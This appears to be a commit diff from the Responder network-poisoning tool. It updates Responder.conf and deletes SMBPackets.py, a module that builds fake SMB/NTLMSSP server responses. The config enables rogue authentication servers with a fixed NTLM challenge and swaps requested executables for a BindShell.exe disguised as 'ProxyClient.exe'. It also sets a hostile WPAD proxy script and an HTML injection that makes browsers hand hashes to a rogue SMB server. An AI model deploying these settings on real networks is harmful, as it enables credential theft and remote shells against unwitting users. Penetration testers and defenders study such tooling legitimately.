 Created by Laurent Gaffie

Responder.conf

@@ -1,55 +1,82 @@
 [Responder Core]
-;;
+
-;Set these values to On or Off, so you can control which rogue authentication server is turned on.
+; Servers to start
 SQL = On
 SMB = On
+Kerberos = On
 FTP = On
 POP = On
-;;Listen on 25/TCP, 587/TCP
 SMTP = On
-IMAP = On 
+IMAP = On
 HTTP = On
 HTTPS = On
 DNS = On
 LDAP = On
-;
+
-;Set a custom challenge
+; Custom challenge
 Challenge = 1122334455667788
-;
+
-;Set this to change the default logging file 
+; SQLite Database file
+; Delete this file to re-capture previously captured hashes
+Database = Responder.db
+
+; Default log file
 SessionLog = Responder-Session.log
-;
+
-;Set this options with your in-scope targets. Example: RespondTo = 10.20.1.116,10.20.1.117,10.20.1.118,10.20.1.119
+; Poisoiners log
-;RespondTo = 10.20.1.116,10.20.1.117,10.20.1.118,10.20.1.119
+PoisonersLog = Poisoners-Session.log
+
+; Analyze mode log
+AnalyzeLog = Analyzer-Session.log
+
+; Specific IP Addresses to respond to (default = All)
+; Example: RespondTo = 10.20.1.100-150, 10.20.3.10
 RespondTo =
-;
+
+; Specific NBT-NS/LLMNR names to respond to (default = All)
+; Example: RespondTo = WPAD, DEV, PROD, SQLINT
+RespondToName = 
+
+; Specific IP Addresses not to respond to (default = None)
+; Example: DontRespondTo = 10.20.1.100-150, 10.20.3.10
+DontRespondTo = 
+
+; Specific NBT-NS/LLMNR names not to respond to (default = None)
+; Example: DontRespondTo = NAC, IPS, IDS
+DontRespondToName =
+
+
 [HTTP Server]
-;;
+
-;Set this to On if you want to always serve a specific file to the victim.
+; Set to On to always serve the custom EXE
 Serve-Always = Off
-;
+
-;Set this to On if you want to serve an executable file each time a .exe is detected in an URL.
+; Set to On to replace any requested .exe with the custom EXE
-Serve-Exe = Off
+Serve-Exe = On
-;
+
-;Uncomment and specify a custom file to serve, the file must exist.
+; Set to On to serve the custom HTML if the URL does not contain .exe
-Filename = Denied.html
+; Set to Off to inject the 'HTMLToInject' in web pages instead
-;
+Serve-Html = Off
-;Specify a custom executable file to serve, the file must exist. 
+
-ExecFilename = FixInternet.exe
+; Custom HTML to serve
-;
+HtmlFilename = files/AccessDenied.html
-;Set your custom PAC script
+
+; Custom EXE File to serve
+ExeFilename = files/BindShell.exe
+
+; Name of the downloaded .exe that the client will see
+ExeDownloadName = ProxyClient.exe
+
+; Custom WPAD Script
 WPADScript = function FindProxyForURL(url, host){if ((host == "localhost") || shExpMatch(host, "localhost.*") ||(host == "127.0.0.1") || isPlainHostName(host)) return "DIRECT"; if (dnsDomainIs(host, "RespProxySrv")||shExpMatch(host, "(*.RespProxySrv|RespProxySrv)")) return "DIRECT"; return 'PROXY ISAProxySrv:3141; DIRECT';}
-;
+
-;HTML answer to inject.
+; HTML answer to inject in HTTP responses (before </body> tag).
-;In this example, we redirect the browser to our rogue SMB server. Please consider the "RespProxySrv" string when modifying, it is used in conjunction with WPADScript so no proxy will be used for this host.
+; Set to an empty string to disable.
-;Also, the HTML has to be in this format "<html> Payload goes here...</html>".
+; In this example, we redirect make users' browsers issue a request to our rogue SMB server.
-HTMLToServe = <html><head></head><body><img src='file:\\\\\RespProxySrv\ssed\seyad.ico' alt='Loading' height='1' width='2'></body></html> 
+HTMLToInject = <img src='file://RespProxySrv/pictures/logo.jpg' alt='Loading' height='1' width='1'>
-;
+
 [HTTPS Server]
-;
-;Change to use your certs
-cert = Certs/responder.crt
-key = Certs/responder.key
-;
-
 
+; Configure SSL Certificates to use
+SSLCert = certs/responder.crt
+SSLKey = certs/responder.key

SMBPackets.py

@@ -1,398 +0,0 @@
-#! /usr/bin/env python
-# NBT-NS/LLMNR Responder
-# Created by Laurent Gaffie
-# Copyright (C) 2014 Trustwave Holdings, Inc.
-#
-# This program is free software: you can redistribute it and/or modify
-# it under the terms of the GNU General Public License as published by
-# the Free Software Foundation, either version 3 of the License, or
-# (at your option) any later version.
-#
-# This program is distributed in the hope that it will be useful,
-# but WITHOUT ANY WARRANTY; without even the implied warranty of
-# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
-# GNU General Public License for more details.
-# 
-# You should have received a copy of the GNU General Public License
-# along with this program.  If not, see <http://www.gnu.org/licenses/>.
-import struct
-from odict import OrderedDict
-
-class Packet():
-    fields = OrderedDict([
-        ("data", ""),
-    ])
-    def __init__(self, **kw):
-        self.fields = OrderedDict(self.__class__.fields)
-        for k,v in kw.items():
-            if callable(v):
-                self.fields[k] = v(self.fields[k])
-            else:
-                self.fields[k] = v
-    def __str__(self):
-        return "".join(map(str, self.fields.values()))
-
-#Calculate total SMB packet len.
-def longueur(payload):
-    length = struct.pack(">i", len(''.join(payload)))
-    return length
-
-#Set MID SMB Header field.
-def midcalc(data):
-    pack=data[34:36]
-    return pack
-
-#Set UID SMB Header field.
-def uidcalc(data):
-    pack=data[32:34]
-    return pack
-
-#Set PID SMB Header field.
-def pidcalc(data):
-    pack=data[30:32]
-    return pack
-
-#Set TID SMB Header field.
-def tidcalc(data):
-    pack=data[28:30]
-    return pack
-
-
-##################################################################################
-class SMBHeader(Packet):
-    fields = OrderedDict([
-        ("proto", "\xff\x53\x4d\x42"),
-        ("cmd", "\x72"),
-        ("errorcode", "\x00\x00\x00\x00" ),
-        ("flag1", "\x00"),
-        ("flag2", "\x00\x00"),
-        ("pidhigh", "\x00\x00"),
-        ("signature", "\x00\x00\x00\x00\x00\x00\x00\x00"),
-        ("reserved", "\x00\x00"),
-        ("tid", "\x00\x00"),
-        ("pid", "\x00\x00"),
-        ("uid", "\x00\x00"),
-        ("mid", "\x00\x00"),
-    ])
-##################################################################################
-#SMB Negotiate Answer LM packet.
-class SMBNegoAnsLM(Packet):
-    fields = OrderedDict([
-        ("Wordcount",    "\x11"),
-        ("Dialect",      ""),
-        ("Securitymode", "\x03"),
-        ("MaxMpx",       "\x32\x00"),
-        ("MaxVc",        "\x01\x00"),
-        ("Maxbuffsize",  "\x04\x41\x00\x00"),
-        ("Maxrawbuff",   "\x00\x00\x01\x00"),
-        ("Sessionkey",   "\x00\x00\x00\x00"),
-        ("Capabilities", "\xfc\x3e\x01\x00"),
-        ("Systemtime",   "\x84\xd6\xfb\xa3\x01\x35\xcd\x01"),
-        ("Srvtimezone",  "\x2c\x01"),
-        ("Keylength",    "\x08"),
-        ("Bcc",          "\x10\x00"),
-        ("Key",          ""),
-        ("Domain",       "SMB"),
-        ("DomainNull",   "\x00\x00"),
-        ("Server",       "SMB-TOOLKIT"),
-        ("ServerNull",   "\x00\x00"),
-    ])
-
-    def calculate(self):
-        ##Convert first..
-        self.fields["Domain"] = self.fields["Domain"].encode('utf-16le')
-        self.fields["Server"] = self.fields["Server"].encode('utf-16le')
-        ##Then calculate.
-        CompleteBCCLen =  str(self.fields["Key"])+str(self.fields["Domain"])+str(self.fields["DomainNull"])+str(self.fields["Server"])+str(self.fields["ServerNull"])
-        self.fields["Bcc"] = struct.pack("<h",len(CompleteBCCLen))
-        self.fields["Keylength"] = struct.pack("<h",len(self.fields["Key"]))[0]
-##################################################################################
-#SMB Negotiate Answer LM packet.
-class SMBNegoAns(Packet):
-    fields = OrderedDict([
-        ("Wordcount",    "\x11"),
-        ("Dialect",      ""),
-        ("Securitymode", "\x03"),
-        ("MaxMpx",       "\x32\x00"),
-        ("MaxVc",        "\x01\x00"),
-        ("MaxBuffSize",  "\x04\x41\x00\x00"),
-        ("MaxRawBuff",   "\x00\x00\x01\x00"),
-        ("SessionKey",   "\x00\x00\x00\x00"),
-        ("Capabilities", "\xfd\xf3\x01\x80"),
-        ("SystemTime",   "\x84\xd6\xfb\xa3\x01\x35\xcd\x01"),
-        ("SrvTimeZone",  "\xf0\x00"),
-        ("KeyLen",    "\x00"),
-        ("Bcc",          "\x57\x00"),
-        ("Guid",         "\xc8\x27\x3d\xfb\xd4\x18\x55\x4f\xb2\x40\xaf\xd7\x61\x73\x75\x3b"),
-        ("InitContextTokenASNId",     "\x60"),
-        ("InitContextTokenASNLen",    "\x5b"),
-        ("ThisMechASNId",             "\x06"),
-        ("ThisMechASNLen",            "\x06"),
-        ("ThisMechASNStr",            "\x2b\x06\x01\x05\x05\x02"),
-        ("SpNegoTokenASNId",          "\xA0"),
-        ("SpNegoTokenASNLen",         "\x51"),
-        ("NegTokenASNId",             "\x30"),
-        ("NegTokenASNLen",            "\x4f"),
-        ("NegTokenTag0ASNId",         "\xA0"),
-        ("NegTokenTag0ASNLen",        "\x30"),
-        ("NegThisMechASNId",          "\x30"),
-        ("NegThisMechASNLen",         "\x2e"),
-        ("NegThisMech4ASNId",         "\x06"),
-        ("NegThisMech4ASNLen",        "\x09"),
-        ("NegThisMech4ASNStr",        "\x2b\x06\x01\x04\x01\x82\x37\x02\x02\x0a"),
-        ("NegTokenTag3ASNId",         "\xA3"),
-        ("NegTokenTag3ASNLen",        "\x1b"),
-        ("NegHintASNId",              "\x30"),
-        ("NegHintASNLen",             "\x19"),
-        ("NegHintTag0ASNId",          "\xa0"),
-        ("NegHintTag0ASNLen",         "\x17"),
-        ("NegHintFinalASNId",         "\x1b"), 
-        ("NegHintFinalASNLen",        "\x15"),
-        ("NegHintFinalASNStr",        "server2008$@SMB.LOCAL"),
-##  END
-
-    ])
-
-    def calculate(self):
-
-        CompleteBCCLen1 =  str(self.fields["Guid"])+str(self.fields["InitContextTokenASNId"])+str(self.fields["InitContextTokenASNLen"])+str(self.fields["ThisMechASNId"])+str(self.fields["ThisMechASNLen"])+str(self.fields["ThisMechASNStr"])+str(self.fields["SpNegoTokenASNId"])+str(self.fields["SpNegoTokenASNLen"])+str(self.fields["NegTokenASNId"])+str(self.fields["NegTokenASNLen"])+str(self.fields["NegTokenTag0ASNId"])+str(self.fields["NegTokenTag0ASNLen"])+str(self.fields["NegThisMechASNId"])+str(self.fields["NegThisMechASNLen"])+str(self.fields["NegThisMech4ASNId"])+str(self.fields["NegThisMech4ASNLen"])+str(self.fields["NegThisMech4ASNStr"])+str(self.fields["NegTokenTag3ASNId"])+str(self.fields["NegTokenTag3ASNLen"])+str(self.fields["NegHintASNId"])+str(self.fields["NegHintASNLen"])+str(self.fields["NegHintTag0ASNId"])+str(self.fields["NegHintTag0ASNLen"])+str(self.fields["NegHintFinalASNId"])+str(self.fields["NegHintFinalASNLen"])+str(self.fields["NegHintFinalASNStr"])
-
-        AsnLenStart = str(self.fields["ThisMechASNId"])+str(self.fields["ThisMechASNLen"])+str(self.fields["ThisMechASNStr"])+str(self.fields["SpNegoTokenASNId"])+str(self.fields["SpNegoTokenASNLen"])+str(self.fields["NegTokenASNId"])+str(self.fields["NegTokenASNLen"])+str(self.fields["NegTokenTag0ASNId"])+str(self.fields["NegTokenTag0ASNLen"])+str(self.fields["NegThisMechASNId"])+str(self.fields["NegThisMechASNLen"])+str(self.fields["NegThisMech4ASNId"])+str(self.fields["NegThisMech4ASNLen"])+str(self.fields["NegThisMech4ASNStr"])+str(self.fields["NegTokenTag3ASNId"])+str(self.fields["NegTokenTag3ASNLen"])+str(self.fields["NegHintASNId"])+str(self.fields["NegHintASNLen"])+str(self.fields["NegHintTag0ASNId"])+str(self.fields["NegHintTag0ASNLen"])+str(self.fields["NegHintFinalASNId"])+str(self.fields["NegHintFinalASNLen"])+str(self.fields["NegHintFinalASNStr"])
-
-        AsnLen2 = str(self.fields["NegTokenASNId"])+str(self.fields["NegTokenASNLen"])+str(self.fields["NegTokenTag0ASNId"])+str(self.fields["NegTokenTag0ASNLen"])+str(self.fields["NegThisMechASNId"])+str(self.fields["NegThisMechASNLen"])+str(self.fields["NegThisMech4ASNId"])+str(self.fields["NegThisMech4ASNLen"])+str(self.fields["NegThisMech4ASNStr"])+str(self.fields["NegTokenTag3ASNId"])+str(self.fields["NegTokenTag3ASNLen"])+str(self.fields["NegHintASNId"])+str(self.fields["NegHintASNLen"])+str(self.fields["NegHintTag0ASNId"])+str(self.fields["NegHintTag0ASNLen"])+str(self.fields["NegHintFinalASNId"])+str(self.fields["NegHintFinalASNLen"])+str(self.fields["NegHintFinalASNStr"])
-
-        MechTypeLen = str(self.fields["NegThisMechASNId"])+str(self.fields["NegThisMechASNLen"])+str(self.fields["NegThisMech4ASNId"])+str(self.fields["NegThisMech4ASNLen"])+str(self.fields["NegThisMech4ASNStr"])
-
-        Tag3Len = str(self.fields["NegHintASNId"])+str(self.fields["NegHintASNLen"])+str(self.fields["NegHintTag0ASNId"])+str(self.fields["NegHintTag0ASNLen"])+str(self.fields["NegHintFinalASNId"])+str(self.fields["NegHintFinalASNLen"])+str(self.fields["NegHintFinalASNStr"])
-
-        self.fields["Bcc"] = struct.pack("<h",len(CompleteBCCLen1))
-        self.fields["InitContextTokenASNLen"] = struct.pack("<B", len(AsnLenStart))
-        self.fields["ThisMechASNLen"] = struct.pack("<B", len(str(self.fields["ThisMechASNStr"])))
-        self.fields["SpNegoTokenASNLen"] = struct.pack("<B", len(AsnLen2))
-        self.fields["NegTokenASNLen"] = struct.pack("<B", len(AsnLen2)-2)
-        self.fields["NegTokenTag0ASNLen"] = struct.pack("<B", len(MechTypeLen))
-        self.fields["NegThisMechASNLen"] = struct.pack("<B", len(MechTypeLen)-2)
-        self.fields["NegThisMech4ASNLen"] = struct.pack("<B", len(str(self.fields["NegThisMech4ASNStr"])))
-        self.fields["NegTokenTag3ASNLen"] = struct.pack("<B", len(Tag3Len))
-        self.fields["NegHintASNLen"] = struct.pack("<B", len(Tag3Len)-2)
-        self.fields["NegHintTag0ASNLen"] = struct.pack("<B", len(Tag3Len)-4)
-        self.fields["NegHintFinalASNLen"] = struct.pack("<B", len(str(self.fields["NegHintFinalASNStr"])))
-
-################################################################################
-
-class SMBSession1Data(Packet):
-    fields = OrderedDict([
-        ("Wordcount",             "\x04"),
-        ("AndXCommand",           "\xff"),
-        ("Reserved",              "\x00"),
-        ("Andxoffset",            "\x5f\x01"),
-        ("Action",                "\x00\x00"),
-        ("SecBlobLen",            "\xea\x00"),
-        ("Bcc",                   "\x34\x01"),
-        ("ChoiceTagASNId",        "\xa1"), 
-        ("ChoiceTagASNLenOfLen",  "\x81"), 
-        ("ChoiceTagASNIdLen",     "\x00"),
-        ("NegTokenTagASNId",      "\x30"),
-        ("NegTokenTagASNLenOfLen","\x81"),
-        ("NegTokenTagASNIdLen",   "\x00"),
-        ("Tag0ASNId",             "\xA0"),
-        ("Tag0ASNIdLen",          "\x03"),
-        ("NegoStateASNId",        "\x0A"),
-        ("NegoStateASNLen",       "\x01"),
-        ("NegoStateASNValue",     "\x01"),
-        ("Tag1ASNId",             "\xA1"),
-        ("Tag1ASNIdLen",          "\x0c"),
-        ("Tag1ASNId2",            "\x06"),
-        ("Tag1ASNId2Len",         "\x0A"),
-        ("Tag1ASNId2Str",         "\x2b\x06\x01\x04\x01\x82\x37\x02\x02\x0a"),
-        ("Tag2ASNId",             "\xA2"),
-        ("Tag2ASNIdLenOfLen",     "\x81"),
-        ("Tag2ASNIdLen",          "\xED"),
-        ("Tag3ASNId",             "\x04"),
-        ("Tag3ASNIdLenOfLen",     "\x81"),
-        ("Tag3ASNIdLen",          "\xEA"),
-        ("NTLMSSPSignature",      "NTLMSSP"),
-        ("NTLMSSPSignatureNull",  "\x00"),
-        ("NTLMSSPMessageType",    "\x02\x00\x00\x00"),
-        ("NTLMSSPNtWorkstationLen","\x1e\x00"),
-        ("NTLMSSPNtWorkstationMaxLen","\x1e\x00"),
-        ("NTLMSSPNtWorkstationBuffOffset","\x38\x00\x00\x00"),
-        ("NTLMSSPNtNegotiateFlags","\x15\x82\x89\xe2"),
-        ("NTLMSSPNtServerChallenge","\x81\x22\x33\x34\x55\x46\xe7\x88"),
-        ("NTLMSSPNtReserved","\x00\x00\x00\x00\x00\x00\x00\x00"),
-        ("NTLMSSPNtTargetInfoLen","\x94\x00"),
-        ("NTLMSSPNtTargetInfoMaxLen","\x94\x00"),
-        ("NTLMSSPNtTargetInfoBuffOffset","\x56\x00\x00\x00"),
-        ("NegTokenInitSeqMechMessageVersionHigh","\x05"),
-        ("NegTokenInitSeqMechMessageVersionLow","\x02"),
-        ("NegTokenInitSeqMechMessageVersionBuilt","\xce\x0e"),
-        ("NegTokenInitSeqMechMessageVersionReserved","\x00\x00\x00"),
-        ("NegTokenInitSeqMechMessageVersionNTLMType","\x0f"),
-        ("NTLMSSPNtWorkstationName","SMB12"),
-        ("NTLMSSPNTLMChallengeAVPairsId","\x02\x00"),
-        ("NTLMSSPNTLMChallengeAVPairsLen","\x0a\x00"),
-        ("NTLMSSPNTLMChallengeAVPairsUnicodeStr","smb12"),
-        ("NTLMSSPNTLMChallengeAVPairs1Id","\x01\x00"),
-        ("NTLMSSPNTLMChallengeAVPairs1Len","\x1e\x00"),
-        ("NTLMSSPNTLMChallengeAVPairs1UnicodeStr","SERVER2008"), 
-        ("NTLMSSPNTLMChallengeAVPairs2Id","\x04\x00"),
-        ("NTLMSSPNTLMChallengeAVPairs2Len","\x1e\x00"),
-        ("NTLMSSPNTLMChallengeAVPairs2UnicodeStr","smb12.local"), 
-        ("NTLMSSPNTLMChallengeAVPairs3Id","\x03\x00"),
-        ("NTLMSSPNTLMChallengeAVPairs3Len","\x1e\x00"),
-        ("NTLMSSPNTLMChallengeAVPairs3UnicodeStr","SERVER2008.smb12.local"),
-        ("NTLMSSPNTLMChallengeAVPairs5Id","\x05\x00"),
-        ("NTLMSSPNTLMChallengeAVPairs5Len","\x04\x00"),
-        ("NTLMSSPNTLMChallengeAVPairs5UnicodeStr","smb12.local"),
-        ("NTLMSSPNTLMChallengeAVPairs6Id","\x00\x00"),
-        ("NTLMSSPNTLMChallengeAVPairs6Len","\x00\x00"),
-        ("NTLMSSPNTLMPadding",             ""),
-        ("NativeOs","Windows Server 2003 3790 Service Pack 2"),                           
-        ("NativeOsTerminator","\x00\x00"),
-        ("NativeLAN", "Windows Server 2003 5.2"),
-        ("NativeLANTerminator","\x00\x00"),
-    ])
-
-
-    def calculate(self):
-
-        ##Convert strings to Unicode first...
-        self.fields["NTLMSSPNtWorkstationName"] = self.fields["NTLMSSPNtWorkstationName"].encode('utf-16le')
-        self.fields["NTLMSSPNTLMChallengeAVPairsUnicodeStr"] = self.fields["NTLMSSPNTLMChallengeAVPairsUnicodeStr"].encode('utf-16le')
-        self.fields["NTLMSSPNTLMChallengeAVPairs1UnicodeStr"] = self.fields["NTLMSSPNTLMChallengeAVPairs1UnicodeStr"].encode('utf-16le')
-        self.fields["NTLMSSPNTLMChallengeAVPairs2UnicodeStr"] = self.fields["NTLMSSPNTLMChallengeAVPairs2UnicodeStr"].encode('utf-16le')
-        self.fields["NTLMSSPNTLMChallengeAVPairs3UnicodeStr"] = self.fields["NTLMSSPNTLMChallengeAVPairs3UnicodeStr"].encode('utf-16le')
-        self.fields["NTLMSSPNTLMChallengeAVPairs5UnicodeStr"] = self.fields["NTLMSSPNTLMChallengeAVPairs5UnicodeStr"].encode('utf-16le')
-        self.fields["NativeOs"] = self.fields["NativeOs"].encode('utf-16le')
-        self.fields["NativeLAN"] = self.fields["NativeLAN"].encode('utf-16le')
-
-        ###### SecBlobLen Calc:
-        AsnLen= str(self.fields["ChoiceTagASNId"])+str(self.fields["ChoiceTagASNLenOfLen"])+str(self.fields["ChoiceTagASNIdLen"])+str(self.fields["NegTokenTagASNId"])+str(self.fields["NegTokenTagASNLenOfLen"])+str(self.fields["NegTokenTagASNIdLen"])+str(self.fields["Tag0ASNId"])+str(self.fields["Tag0ASNIdLen"])+str(self.fields["NegoStateASNId"])+str(self.fields["NegoStateASNLen"])+str(self.fields["NegoStateASNValue"])+str(self.fields["Tag1ASNId"])+str(self.fields["Tag1ASNIdLen"])+str(self.fields["Tag1ASNId2"])+str(self.fields["Tag1ASNId2Len"])+str(self.fields["Tag1ASNId2Str"])+str(self.fields["Tag2ASNId"])+str(self.fields["Tag2ASNIdLenOfLen"])+str(self.fields["Tag2ASNIdLen"])+str(self.fields["Tag3ASNId"])+str(self.fields["Tag3ASNIdLenOfLen"])+str(self.fields["Tag3ASNIdLen"])
-
-        CalculateSecBlob = str(self.fields["NTLMSSPSignature"])+str(self.fields["NTLMSSPSignatureNull"])+str(self.fields["NTLMSSPMessageType"])+str(self.fields["NTLMSSPNtWorkstationLen"])+str(self.fields["NTLMSSPNtWorkstationMaxLen"])+str(self.fields["NTLMSSPNtWorkstationBuffOffset"])+str(self.fields["NTLMSSPNtNegotiateFlags"])+str(self.fields["NTLMSSPNtServerChallenge"])+str(self.fields["NTLMSSPNtReserved"])+str(self.fields["NTLMSSPNtTargetInfoLen"])+str(self.fields["NTLMSSPNtTargetInfoMaxLen"])+str(self.fields["NTLMSSPNtTargetInfoBuffOffset"])+str(self.fields["NegTokenInitSeqMechMessageVersionHigh"])+str(self.fields["NegTokenInitSeqMechMessageVersionLow"])+str(self.fields["NegTokenInitSeqMechMessageVersionBuilt"])+str(self.fields["NegTokenInitSeqMechMessageVersionReserved"])+str(self.fields["NegTokenInitSeqMechMessageVersionNTLMType"])+str(self.fields["NTLMSSPNtWorkstationName"])+str(self.fields["NTLMSSPNTLMChallengeAVPairsId"])+str(self.fields["NTLMSSPNTLMChallengeAVPairsLen"])+str(self.fields["NTLMSSPNTLMChallengeAVPairsUnicodeStr"])+str(self.fields["NTLMSSPNTLMChallengeAVPairs1Id"])+str(self.fields["NTLMSSPNTLMChallengeAVPairs1Len"])+str(self.fields["NTLMSSPNTLMChallengeAVPairs1UnicodeStr"])+(self.fields["NTLMSSPNTLMChallengeAVPairs2Id"])+str(self.fields["NTLMSSPNTLMChallengeAVPairs2Len"])+str(self.fields["NTLMSSPNTLMChallengeAVPairs2UnicodeStr"])+(self.fields["NTLMSSPNTLMChallengeAVPairs3Id"])+str(self.fields["NTLMSSPNTLMChallengeAVPairs3Len"])+str(self.fields["NTLMSSPNTLMChallengeAVPairs3UnicodeStr"])+(self.fields["NTLMSSPNTLMChallengeAVPairs5Id"])+str(self.fields["NTLMSSPNTLMChallengeAVPairs5Len"])+str(self.fields["NTLMSSPNTLMChallengeAVPairs5UnicodeStr"])+(self.fields["NTLMSSPNTLMChallengeAVPairs6Id"])+str(self.fields["NTLMSSPNTLMChallengeAVPairs6Len"])
-
-        ##### Bcc len
-        BccLen = AsnLen+CalculateSecBlob+str(self.fields["NTLMSSPNTLMPadding"])+str(self.fields["NativeOs"])+str(self.fields["NativeOsTerminator"])+str(self.fields["NativeLAN"])+str(self.fields["NativeLANTerminator"])
-        #SecBlobLen
-        self.fields["SecBlobLen"] = struct.pack("<h", len(AsnLen+CalculateSecBlob))
-        self.fields["Bcc"] = struct.pack("<h", len(BccLen))
-        self.fields["ChoiceTagASNIdLen"] = struct.pack(">B", len(AsnLen+CalculateSecBlob)-3)
-        self.fields["NegTokenTagASNIdLen"] = struct.pack(">B", len(AsnLen+CalculateSecBlob)-6)
-        self.fields["Tag1ASNIdLen"] = struct.pack(">B", len(str(self.fields["Tag1ASNId2"])+str(self.fields["Tag1ASNId2Len"])+str(self.fields["Tag1ASNId2Str"])))
-        self.fields["Tag1ASNId2Len"] = struct.pack(">B", len(str(self.fields["Tag1ASNId2Str"])))
-        self.fields["Tag2ASNIdLen"] = struct.pack(">B", len(CalculateSecBlob+str(self.fields["Tag3ASNId"])+str(self.fields["Tag3ASNIdLenOfLen"])+str(self.fields["Tag3ASNIdLen"])))
-        self.fields["Tag3ASNIdLen"] = struct.pack(">B", len(CalculateSecBlob))
-
-        ###### Andxoffset calculation.
-        CalculateCompletePacket = str(self.fields["Wordcount"])+str(self.fields["AndXCommand"])+str(self.fields["Reserved"])+str(self.fields["Andxoffset"])+str(self.fields["Action"])+str(self.fields["SecBlobLen"])+str(self.fields["Bcc"])+BccLen
-
-        self.fields["Andxoffset"] = struct.pack("<h", len(CalculateCompletePacket)+32)
-        ###### Workstation Offset
-        CalculateOffsetWorkstation = str(self.fields["NTLMSSPSignature"])+str(self.fields["NTLMSSPSignatureNull"])+str(self.fields["NTLMSSPMessageType"])+str(self.fields["NTLMSSPNtWorkstationLen"])+str(self.fields["NTLMSSPNtWorkstationMaxLen"])+str(self.fields["NTLMSSPNtWorkstationBuffOffset"])+str(self.fields["NTLMSSPNtNegotiateFlags"])+str(self.fields["NTLMSSPNtServerChallenge"])+str(self.fields["NTLMSSPNtReserved"])+str(self.fields["NTLMSSPNtTargetInfoLen"])+str(self.fields["NTLMSSPNtTargetInfoMaxLen"])+str(self.fields["NTLMSSPNtTargetInfoBuffOffset"])+str(self.fields["NegTokenInitSeqMechMessageVersionHigh"])+str(self.fields["NegTokenInitSeqMechMessageVersionLow"])+str(self.fields["NegTokenInitSeqMechMessageVersionBuilt"])+str(self.fields["NegTokenInitSeqMechMessageVersionReserved"])+str(self.fields["NegTokenInitSeqMechMessageVersionNTLMType"])
-
-        ###### AvPairs Offset
-        CalculateLenAvpairs = str(self.fields["NTLMSSPNTLMChallengeAVPairsId"])+str(self.fields["NTLMSSPNTLMChallengeAVPairsLen"])+str(self.fields["NTLMSSPNTLMChallengeAVPairsUnicodeStr"])+str(self.fields["NTLMSSPNTLMChallengeAVPairs1Id"])+str(self.fields["NTLMSSPNTLMChallengeAVPairs1Len"])+str(self.fields["NTLMSSPNTLMChallengeAVPairs1UnicodeStr"])+(self.fields["NTLMSSPNTLMChallengeAVPairs2Id"])+str(self.fields["NTLMSSPNTLMChallengeAVPairs2Len"])+str(self.fields["NTLMSSPNTLMChallengeAVPairs2UnicodeStr"])+(self.fields["NTLMSSPNTLMChallengeAVPairs3Id"])+str(self.fields["NTLMSSPNTLMChallengeAVPairs3Len"])+str(self.fields["NTLMSSPNTLMChallengeAVPairs3UnicodeStr"])+(self.fields["NTLMSSPNTLMChallengeAVPairs5Id"])+str(self.fields["NTLMSSPNTLMChallengeAVPairs5Len"])+str(self.fields["NTLMSSPNTLMChallengeAVPairs5UnicodeStr"])+(self.fields["NTLMSSPNTLMChallengeAVPairs6Id"])+str(self.fields["NTLMSSPNTLMChallengeAVPairs6Len"])
-
-        ##### Workstation Offset Calculation:
-        self.fields["NTLMSSPNtWorkstationBuffOffset"] = struct.pack("<i", len(CalculateOffsetWorkstation))
-        self.fields["NTLMSSPNtWorkstationLen"] = struct.pack("<h", len(str(self.fields["NTLMSSPNtWorkstationName"])))
-        self.fields["NTLMSSPNtWorkstationMaxLen"] = struct.pack("<h", len(str(self.fields["NTLMSSPNtWorkstationName"])))
-
-        ##### IvPairs Offset Calculation:
-        self.fields["NTLMSSPNtTargetInfoBuffOffset"] = struct.pack("<i", len(CalculateOffsetWorkstation+str(self.fields["NTLMSSPNtWorkstationName"])))
-        self.fields["NTLMSSPNtTargetInfoLen"] = struct.pack("<h", len(CalculateLenAvpairs))
-        self.fields["NTLMSSPNtTargetInfoMaxLen"] = struct.pack("<h", len(CalculateLenAvpairs))
-        ##### IvPair Calculation:
-        self.fields["NTLMSSPNTLMChallengeAVPairs5Len"] = struct.pack("<h", len(str(self.fields["NTLMSSPNTLMChallengeAVPairs5UnicodeStr"])))
-        self.fields["NTLMSSPNTLMChallengeAVPairs3Len"] = struct.pack("<h", len(str(self.fields["NTLMSSPNTLMChallengeAVPairs3UnicodeStr"])))
-        self.fields["NTLMSSPNTLMChallengeAVPairs2Len"] = struct.pack("<h", len(str(self.fields["NTLMSSPNTLMChallengeAVPairs2UnicodeStr"])))
-        self.fields["NTLMSSPNTLMChallengeAVPairs1Len"] = struct.pack("<h", len(str(self.fields["NTLMSSPNTLMChallengeAVPairs1UnicodeStr"])))
-        self.fields["NTLMSSPNTLMChallengeAVPairsLen"] = struct.pack("<h", len(str(self.fields["NTLMSSPNTLMChallengeAVPairsUnicodeStr"])))
-
-##################################################################################
-
-class SMBSession2Accept(Packet):
-    fields = OrderedDict([
-        ("Wordcount",             "\x04"),
-        ("AndXCommand",           "\xff"),
-        ("Reserved",              "\x00"),
-        ("Andxoffset",            "\xb4\x00"),
-        ("Action",                "\x00\x00"),
-        ("SecBlobLen",            "\x09\x00"),
-        ("Bcc",                   "\x89\x01"),
-        ("SSPIAccept","\xa1\x07\x30\x05\xa0\x03\x0a\x01\x00"),
-        ("NativeOs","Windows Server 2003 3790 Service Pack 2"),                           
-        ("NativeOsTerminator","\x00\x00"),
-        ("NativeLAN", "Windows Server 2003 5.2"),
-        ("NativeLANTerminator","\x00\x00"),
-    ])
-    def calculate(self):
-        self.fields["NativeOs"] = self.fields["NativeOs"].encode('utf-16le')
-        self.fields["NativeLAN"] = self.fields["NativeLAN"].encode('utf-16le')
-        BccLen = str(self.fields["SSPIAccept"])+str(self.fields["NativeOs"])+str(self.fields["NativeOsTerminator"])+str(self.fields["NativeLAN"])+str(self.fields["NativeLANTerminator"])
-        self.fields["Bcc"] = struct.pack("<h", len(BccLen))
-
-class SMBSessEmpty(Packet):
-    fields = OrderedDict([
-        ("Empty",       "\x00\x00\x00"),
-    ])
-
-class SMBTreeData(Packet):
-    fields = OrderedDict([
-        ("Wordcount", "\x07"),
-        ("AndXCommand", "\xff"),
-        ("Reserved","\x00" ),
-        ("Andxoffset", "\xbd\x00"),
-        ("OptionalSupport","\x00\x00"),
-        ("MaxShareAccessRight","\x00\x00\x00\x00"),
-        ("GuestShareAccessRight","\x00\x00\x00\x00"),
-        ("Bcc", "\x94\x00"),
-        ("Service", "IPC"),
-        ("ServiceTerminator","\x00\x00\x00\x00"),                           
-    ])
-
-
-    def calculate(self):
-        #Complete Packet Len
-        CompletePacket= str(self.fields["Wordcount"])+str(self.fields["AndXCommand"])+str(self.fields["Reserved"])+str(self.fields["Andxoffset"])+str(self.fields["OptionalSupport"])+str(self.fields["MaxShareAccessRight"])+str(self.fields["GuestShareAccessRight"])+str(self.fields["Bcc"])+str(self.fields["Service"])+str(self.fields["ServiceTerminator"])
